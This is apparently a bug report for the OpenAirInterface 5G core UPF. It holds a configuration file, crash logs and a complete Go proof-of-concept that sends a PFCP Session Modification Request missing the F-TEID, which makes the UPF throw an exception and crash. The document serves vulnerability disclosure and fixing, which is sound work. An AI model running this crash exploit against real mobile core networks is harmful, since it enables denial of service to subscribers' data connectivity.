[Bug] UPF Crash on PFCP Session Modification Request contain a PDR Missing Downlink F-TEID
OAI-CN-5G Release, Revision, or Tag
- commit:74d8ed9a; eBPF=ON
Description
UPF receives a PFCP SessionModificationRequest whose Create PDR omits the downlink F-TEID, causing the UPF to dereference a missing gNB IP while updating the ARP table in SessionProgramManager::createPipeline. The exception (“Missing gnb IP. Handling this case not implemented yet!”) propagates out of SessionManager::updateBPFSessionDL, resulting in the UPF crash.
config
config.yaml
################################################################################ # Licensed to the OpenAirInterface (OAI) Software Alliance under one or more # contributor license agreements. See the NOTICE file distributed with # this work for additional information regarding copyright ownership. # The OpenAirInterface Software Alliance licenses this file to You under # the OAI Public License, Version 1.1 (the "License"); you may not use this file # except in compliance with the License. # You may obtain a copy of the License at # # http://www.openairinterface.org/?page_id=698 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. #------------------------------------------------------------------------------- # For more information about the OpenAirInterface (OAI) Software Alliance: # contact@openairinterface.org ################################################################################ # OAI CN Configuration File ### This file can be used by all OAI NFs ### Some fields are specific to an NF and will be ignored by other NFs ### The {{ env['ENV_NAME'] }} syntax lets you define these values in a docker-compose file ### If you intend to mount this file or use a bare-metal deployment, please refer to README.md ### The README.md also defines default values and allowed values for each configuration parameter ############# Common configuration # Log level for all the NFs log_level: general: debug # If you enable registration, the other NFs will use the NRF discovery mechanism register_nf: general: yes http_version: 2 ############## SBI Interfaces ### Each NF takes its local SBI interfaces and remote interfaces from here, unless it gets them using NRF discovery mechanisms nfs: amf: host: oai-amf sbi: port: 8080 api_version: v1 interface_name: eth0 n2: interface_name: eth0 port: 38412 smf: host: oai-smf sbi: port: 8080 api_version: v1 interface_name: eth0 n4: interface_name: eth0 port: 8805 upf: host: oai-upf sbi: port: 8080 api_version: v1 interface_name: eth1 n3: interface_name: eth0 port: 2152 n4: interface_name: eth0 port: 8805 n6: interface_name: eth1 n9: interface_name: eth0 port: 2152 udm: host: oai-udm sbi: port: 8080 api_version: v1 interface_name: eth0 udr: host: oai-udr sbi: port: 8080 api_version: v1 interface_name: eth0 ausf: host: oai-ausf sbi: port: 8080 api_version: v1 interface_name: eth0 nrf: host: oai-nrf sbi: port: 8080 api_version: v1 interface_name: eth0 #### Common for UDR and AMF database: host: mysql user: test type: mysql password: test database_name: oai_db generate_random: true connection_timeout: 300 # seconds ## general single_nssai configuration ## Defines YAML anchors, which are reused in the config file snssais: - &embb_slice sst: 1 ############## NF-specific configuration amf: pid_directory: "/var/run" amf_name: "OAI-AMF" # This really depends on if we want to keep the "mini" version or not support_features_options: enable_simple_scenario: no enable_nssf: no enable_smf_selection: yes use_external_udm: no relative_capacity: 30 statistics_timer_interval: 20 #in seconds emergency_support: false served_guami_list: - mcc: 001 mnc: 01 amf_region_id: 01 amf_set_id: 001 amf_pointer: 01 plmn_support_list: - mcc: 001 mnc: 01 tac: 0x0001 nssai: - *embb_slice supported_integrity_algorithms: - "NIA1" - "NIA2" supported_encryption_algorithms: - "NEA0" - "NEA1" - "NEA2" smf: ue_mtu: 1500 support_features: use_local_subscription_info: yes # Use infos from local_subscription_info or from UDM use_local_pcc_rules: yes # Use infos from local_pcc_rules or from PCF # we resolve from NRF, this is just to configure usage_reporting upfs: - host: oai-upf config: enable_usage_reporting: no ue_dns: primary_ipv4: "1.1.1.1" primary_ipv6: "2001:4860:4860::8888" secondary_ipv4: "8.8.8.8" secondary_ipv6: "2001:4860:4860::8888" ims: pcscf_ipv4: "192.168.70.139" pcscf_ipv6: "fe80::7915:f408:1787:db8b" # the DNN you configure here should be configured in "dnns" # follows the SmfInfo datatype from 3GPP TS 29.510 smf_info: sNssaiSmfInfoList: - sNssai: *embb_slice dnnSmfInfoList: - dnn: "oai" - dnn: "openairinterface" - dnn: "ims" - dnn: "default" local_subscription_infos: - single_nssai: *embb_slice dnn: "oai" qos_profile: 5qi: 9 session_ambr_ul: "10Gbps" session_ambr_dl: "10Gbps" - single_nssai: *embb_slice dnn: "openairinterface" qos_profile: 5qi: 9 session_ambr_ul: "10Gbps" session_ambr_dl: "10Gbps" - single_nssai: *embb_slice dnn: "ims" qos_profile: 5qi: 9 session_ambr_ul: "10Gbps" session_ambr_dl: "10Gbps" - single_nssai: *embb_slice dnn: "default" qos_profile: 5qi: 9 session_ambr_ul: "10Gbps" session_ambr_dl: "10Gbps" upf: support_features: enable_bpf_datapath: yes # If "on": BPF is used as datapath else simpleswitch is used, DEFAULT= off enable_snat: yes # If "on": Source natting is done for UE, DEFAULT= off remote_n6_gw: 127.0.0.1 # Dummy host since simple-switch does not use N6 GW smfs: - host: oai-smf # To be used for PFCP association in case of no-NRF upf_info: sNssaiUpfInfoList: - sNssai: *embb_slice dnnUpfInfoList: - dnn: "oai" - dnn: "openairinterface" - dnn: "ims" - dnn: "default" ## DNN configuration dnns: - dnn: "oai" pdu_session_type: "IPV4" ipv4_subnet: "10.0.0.0/24" - dnn: "openairinterface" pdu_session_type: "IPV4V6" ipv4_subnet: "10.0.1.0/24" ipv6_prefix: "2001:1:2::/64" - dnn: "ims" pdu_session_type: "IPV4V6" ipv4_subnet: "10.0.9.0/24" ipv6_prefix: "2001:1:2::/64" - dnn: "default" pdu_session_type: "IPV4V6" ipv4_subnet: "10.0.255.0/24" ipv6_prefix: "2001:1:2::/64" `
Steps to reproduce
-
Start a new go project inside a new folder: go mod init poc
-
Create a main.go and paste the code below:
package main import ( "flag" "fmt" "log" "math/rand" "net" "sync/atomic" "time" "github.com/wmnsk/go-pfcp/ie" "github.com/wmnsk/go-pfcp/message" ) type pfcpClient struct { conn *net.UDPConn timeout time.Duration seq uint32 } func newPFCPClient(addr string, timeout time.Duration) (*pfcpClient, error) { udpAddr, err := net.ResolveUDPAddr("udp", addr) if err != nil { return nil, err } conn, err := net.DialUDP("udp", nil, udpAddr) if err != nil { return nil, err } return &pfcpClient{ conn: conn, timeout: timeout, seq: uint32(rand.Intn(0xffffff)), }, nil } func (c *pfcpClient) close() { _ = c.conn.Close() } func (c *pfcpClient) nextSeq() uint32 { return atomic.AddUint32(&c.seq, 1) } func (c *pfcpClient) send(msg message.Message) (message.Message, error) { payload := make([]byte, msg.MarshalLen()) if err := msg.MarshalTo(payload); err != nil { return nil, err } if _, err := c.conn.Write(payload); err != nil { return nil, err } _ = c.conn.SetReadDeadline(time.Now().Add(c.timeout)) buf := make([]byte, 4096) n, _, err := c.conn.ReadFromUDP(buf) if err != nil { return nil, err } return message.Parse(buf[:n]) } func (c *pfcpClient) associate(cpIP net.IP, nodeID string) error { req := message.NewAssociationSetupRequest( c.nextSeq(), ie.NewNodeID(nodeID, "", ""), ie.NewRecoveryTimeStamp(time.Now()), ) _, err := c.send(req) return err } type sessionHandle struct { cpSEID uint64 upfSEID uint64 farID uint32 pdrID uint16 teid uint32 } func randomSEID() uint64 { const mask = (1 << 60) - 1 return uint64(rand.Int63()) & mask } func establishSession(c *pfcpClient, cpIP, ueIP, gnbIP net.IP, nodeID string) (*sessionHandle, error) { seid := randomSEID() farID := uint32(1000) pdrID := uint16(500) teid := uint32(0x80000000) req := message.NewSessionEstablishmentRequest(0, 0, seid, c.nextSeq(), 0, ie.NewNodeID(nodeID, "", ""), ie.NewFSEID(seid, cpIP, nil), ie.NewCreateFAR( ie.NewFARID(farID), ie.NewApplyAction(0x02), ie.NewForwardingParameters( ie.NewDestinationInterface(ie.DstInterfaceCore), ie.NewOuterHeaderCreation(0x0100, teid, gnbIP.String(), "", 0, 0, 0), ), ), ie.NewCreatePDR( ie.NewPDRID(pdrID), ie.NewPrecedence(200), ie.NewPDI( ie.NewSourceInterface(ie.SrcInterfaceAccess), ie.NewUEIPAddress(0x02, ueIP.String(), "", 0, 0), ie.NewFTEID(0x01, teid, gnbIP, nil, 0), ), ie.NewFARID(farID), ), ) msg, err := c.send(req) if err != nil { return nil, err } resp, ok := msg.(*message.SessionEstablishmentResponse) if !ok { return nil, fmt.Errorf("unexpected response %T", msg) } if resp.Cause != nil { if cause, _ := resp.Cause.Cause(); cause != ie.CauseRequestAccepted { return nil, fmt.Errorf("session rejected (cause=%d)", cause) } } if resp.UPFSEID == nil { return nil, fmt.Errorf("missing UPF SEID in response") } upf, err := resp.UPFSEID.FSEID() if err != nil { return nil, err } return &sessionHandle{ cpSEID: seid, upfSEID: upf.SEID, farID: farID, pdrID: pdrID, teid: teid, }, nil } func sendCrashModification(c *pfcpClient, sess *sessionHandle, cpIP, ueIP net.IP) error { req := message.NewSessionModificationRequest(0, 0, sess.upfSEID, c.nextSeq(), 0, ie.NewFSEID(sess.cpSEID, cpIP, nil), ie.NewCreateFAR( ie.NewFARID(sess.farID+1), ie.NewApplyAction(0x02), ie.NewForwardingParameters( ie.NewDestinationInterface(ie.DstInterfaceCore), ie.NewOuterHeaderCreation(0x0100, sess.teid, "", "", 0, 0, 0), ), ), ie.NewCreatePDR( ie.NewPDRID(sess.pdrID+1), ie.NewPrecedence(100), ie.NewPDI( ie.NewSourceInterface(ie.SrcInterfaceCore), ie.NewUEIPAddress(0x02, ueIP.String(), "", 0, 0), // intentionally omit ie.NewFTEID to withhold gNB IP ), ie.NewFARID(sess.farID+1), ), ) _, err := c.send(req) return err } func main() { var ( pfcpAddr = flag.String("pfcp", "192.168.70.134:8805", "PFCP target (host:port)") cpIPStr = flag.String("cp-ip", "127.0.0.1", "Control plane IPv4") gnbIPStr = flag.String("gnb-ip", "192.168.70.134", "gNB IPv4") ueIPStr = flag.String("ue-ip", "12.1.1.10", "UE IPv4") nodeID = flag.String("node-id", "codex-smf", "PFCP Node ID") timeout = flag.Duration("timeout", 5*time.Second, "PFCP timeout") ) flag.Parse() cpIP := net.ParseIP(*cpIPStr) gnbIP := net.ParseIP(*gnbIPStr) ueIP := net.ParseIP(*ueIPStr) if cpIP == nil || gnbIP == nil || ueIP == nil { log.Fatal("invalid IP addresses provided") } client, err := newPFCPClient(*pfcpAddr, *timeout) if err != nil { log.Fatalf("failed to create PFCP client: %v", err) } defer client.close() if err := client.associate(cpIP, *nodeID); err != nil { log.Fatalf("PFCP association failed: %v", err) } log.Println("[+] PFCP association established") sess, err := establishSession(client, cpIP, ueIP, gnbIP, *nodeID) if err != nil { log.Fatalf("session establishment failed: %v", err) } log.Printf("[+] Session established (cpSEID=0x%x upfSEID=0x%x)", sess.cpSEID, sess.upfSEID) log.Println("[*] Sending crafted Session Modification (missing F-TEID)") if err := sendCrashModification(client, sess, cpIP, ueIP); err != nil { log.Fatalf("session modification errored before UPF crash: %v", err) } log.Println("[*] Modification sent. If the UPF lacks hardening, it should log \"Missing gnb IP\" and crash.") } -
Download required libraries: go mod tidy
-
Run the program with the upf pfcp server address: go run ./main.go \ -pfcp 192.168.70.134:8805 \ -cp-ip 127.0.0.1 \ -gnb-ip 192.168.70.134 \ -ue-ip 12.1.1.10
Logs
[2025-11-17 13:50:08.681] [upf_app] [debug] (upf_n6_ip, dn_ip ) : (192.168.70.240, 127.0.0.1) For PDR 500
[2025-11-17 13:50:08.681] [upf_app] [debug] same subnet
[2025-11-17 13:50:08.681] [upf_n4 ] [info] handle_receive(117 bytes)
[2025-11-17 13:50:08.682] [upf_app] [info] Received N4_SESSION_MODIFICATION_REQUEST seid 0x1
[2025-11-17 13:50:08.682] [pfcp_switch] [warning] TODO check carrefully update fseid in PFCP_SESSION_MODIFICATION_REQUEST
[2025-11-17 13:50:08.682] [upf_n4 ] [info] pfcp_session::add(far) seid 0x1
[2025-11-17 13:50:08.682] [upf_n4 ] [info] pfcp_session::add(pdr) seid 0x1
[2025-11-17 13:50:08.682] [upf_app] [info] Modify datapath
[2025-11-17 13:50:08.682] [upf_app] [debug] sessionManager::modifyBpfSession() seid 0x1
[2025-11-17 13:50:08.682] [upf_app] [debug] modifyBpfSession:: add(pdr)
[2025-11-17 13:50:08.682] [upf_app] [debug] Retrieving teid from session seid 0x1
[2025-11-17 13:50:08.682] [upf_app] [debug] Session seid 0x1 has teid 0x80000000
[2025-11-17 13:50:08.682] [upf_app] [error] Missing gnb IP. Handeling this case not implemented yet!
[2025-11-17 13:50:08.682] [upf_app] [error] Error: The ARP table was not updated for N6 Next HOP
[2025-11-17 13:50:08.684] [upf_app] [debug] There are some programs in LINKED state
[2025-11-17 13:50:08.684] [upf_app] [debug] BPF program xdp_handle_uplink is in a HOOKED state
terminate called after throwing an instance of 'std::runtime_error'
what(): Missing gnb IP. Use case not Yet implemented
[2025-11-17 13:50:08.684] [upf_app] [info] BPF program xdp_handle_uplink unlink to 2 interface
[2025-11-17 13:50:08.684] [upf_app] [debug] BPF program xdp_handle_shaping are not link to any interface
[2025-11-17 13:50:08.684] [upf_app] [debug] BPF program xdp_handle_downlink is in a HOOKED state
[2025-11-17 13:50:08.684] [upf_app] [info] BPF program xdp_handle_downlink unlink to 3 interface
[2025-11-17 13:50:08.684] [system ] [info] Caught signal 11
[2025-11-17 13:50:08.684] [common] [info] Waiting ITTI tasks closed
[2025-11-17 13:50:08.684] [asc_cmd] [info] Received terminate message
[2025-11-17 13:50:08.684] [upf_n4 ] [info] Received terminate message
terminate called recursively
Expected Behaviour
When the UPF receives a malformed Session Modification (e.g., missing F-TEID), it should reject the request with an appropriate PFCP Cause code (such as MANDATORY_IE_MISSING).
Observed Behaviour
The UPF accepts the request, attempts to create a downlink pipeline, fails to obtain the gNB IP, throws a std::runtime_error, and crashes.